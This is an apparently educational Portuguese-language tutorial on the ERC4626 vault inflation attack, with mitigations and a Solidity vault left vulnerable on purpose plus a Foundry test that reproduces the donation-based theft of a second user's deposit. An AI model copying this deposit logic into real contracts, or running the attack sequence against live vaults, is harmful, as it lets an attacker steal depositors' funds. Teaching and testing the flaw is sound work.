Inflação do cofre
WEB3DEV Team
# Inflação do cofre
VulnerabilidadeAs ações do cofre podem ser infladas doando tokens ERC20 para o cofre.
O invasor pode explorar esse comportamento para roubar os depósitos de outros usuários.
Exemplo O usuário 0 executa o depósito do usuário 1.- O usuário 0 deposita 1.
- O usuário 0 doa
100 * 1e18
. Isso aumenta o valor de cada ação. - O usuário 1 deposita
100 * 1e18
. Isso gera 0 ações para o usuário 1. - O usuário 0 retira todos os
200 * 1e18 + 1
.
- Mínimo de ações -> protege contra a corrida pela frente
- Saldo interno -> protege contra doações
- Ações mortas -> o contrato é o primeiro depositante
- Compensação decimal (OpenZeppelin ERC4626)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console2} from "forge-std/Test.sol";
uint8 constant DECIMALS = 18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Token is IERC20 {
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint8 public decimals = DECIMALS;
function transfer(address recipient, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function mint(address dst, uint256 amount) external {
balanceOf[dst] += amount;
totalSupply += amount;
emit Transfer(address(0), dst, amount);
}
function burn(uint256 amount) external {
balanceOf[msg.sender] -= amount;
totalSupply -= amount;
emit Transfer(msg.sender, address(0), amount);
}
}
contract Vault {
IERC20 public immutable token;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
constructor(address _token) {
token = IERC20(_token);
}
function _mint(address _to, uint256 _shares) private {
totalSupply += _shares;
balanceOf[_to] += _shares;
}
function _burn(address _from, uint256 _shares) private {
totalSupply -= _shares;
balanceOf[_from] -= _shares;
}
// Ataque de inflação //
// 1. usuário 0 deposita 1
// 2. usuário 0 doa 100 * 1e18
// 3. usuário 1 deposita 100 * 1e18 -> 0 ações mintada
// 4. O usuário 0 retira 200 * 1e18 + 1
//
// ações do usuário 1 = 100 * 1e18 * 1 / (100 * 1e18 + 1)
// = 0
//
// | saldo | ações do usuário 0 | ações do usuário 0 | fornecimento total |
// 1. | 1 | 1 | 0 | 1 |
// 2. | 100 * 1e18 + 1 | 1 | 0 | 1 |
// 3. | 200 * 1e18 + 1 | 1 | 0 | 1 |
// 4. | 0 | 0 | 0 | 0 |
function deposit(uint256 amount) external {
uint256 shares;
if (totalSupply == 0) {
shares = amount;
} else {
shares = (amount * totalSupply) / token.balanceOf(address(this));
}
_mint(msg.sender, shares);
token.transferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 shares) external returns (uint256) {
uint256 amount = (shares * token.balanceOf(address(this))) / totalSupply;
_burn(msg.sender, shares);
token.transfer(msg.sender, amount);
return amount;
}
function previewRedeem(uint256 shares) external returns (uint256) {
if (totalSupply == 0) {
return 0;
}
return (shares * token.balanceOf(address(this))) / totalSupply;
}
}
// forge test -vvv --match-path Vault.test.sol
contract VaultTest is Test {
Vault private vault;
Token private token;
address[] private users = [address(11), address(12)];
function setUp() public {
token = new Token();
vault = new Vault(address(token));
for (uint256 i = 0; i < users.length; i++) {
token.mint(users[i], 10000 * (10 ** DECIMALS));
vm.prank(users[i]);
token.approve(address(vault), type(uint256).max);
}
}
function print() private {
console2.log("vault total supply", vault.totalSupply());
console2.log("vault balance", token.balanceOf(address(vault)));
uint256 shares0 = vault.balanceOf(users[0]);
uint256 shares1 = vault.balanceOf(users[1]);
console2.log("users[0] shares", shares0);
console2.log("users[1] shares", shares1);
console2.log("users[0] redeemable", vault.previewRedeem(shares0));
console2.log("users[1] redeemable", vault.previewRedeem(shares1));
}
function test() public {
// users[0] depósita 1
console2.log("--- users[0] deposit ---");
vm.prank(users[0]);
vault.deposit(1);
print();
// users[0] doa 100
console2.log("--- users[0] donate ---");
vm.prank(users[0]);
token.transfer(address(vault), 100 * (10 ** DECIMALS));
print();
// users[1] deposita 100
console2.log("--- users[1] deposit ---");
vm.prank(users[1]);
vault.deposit(100 * (10 ** DECIMALS));
print();
}
}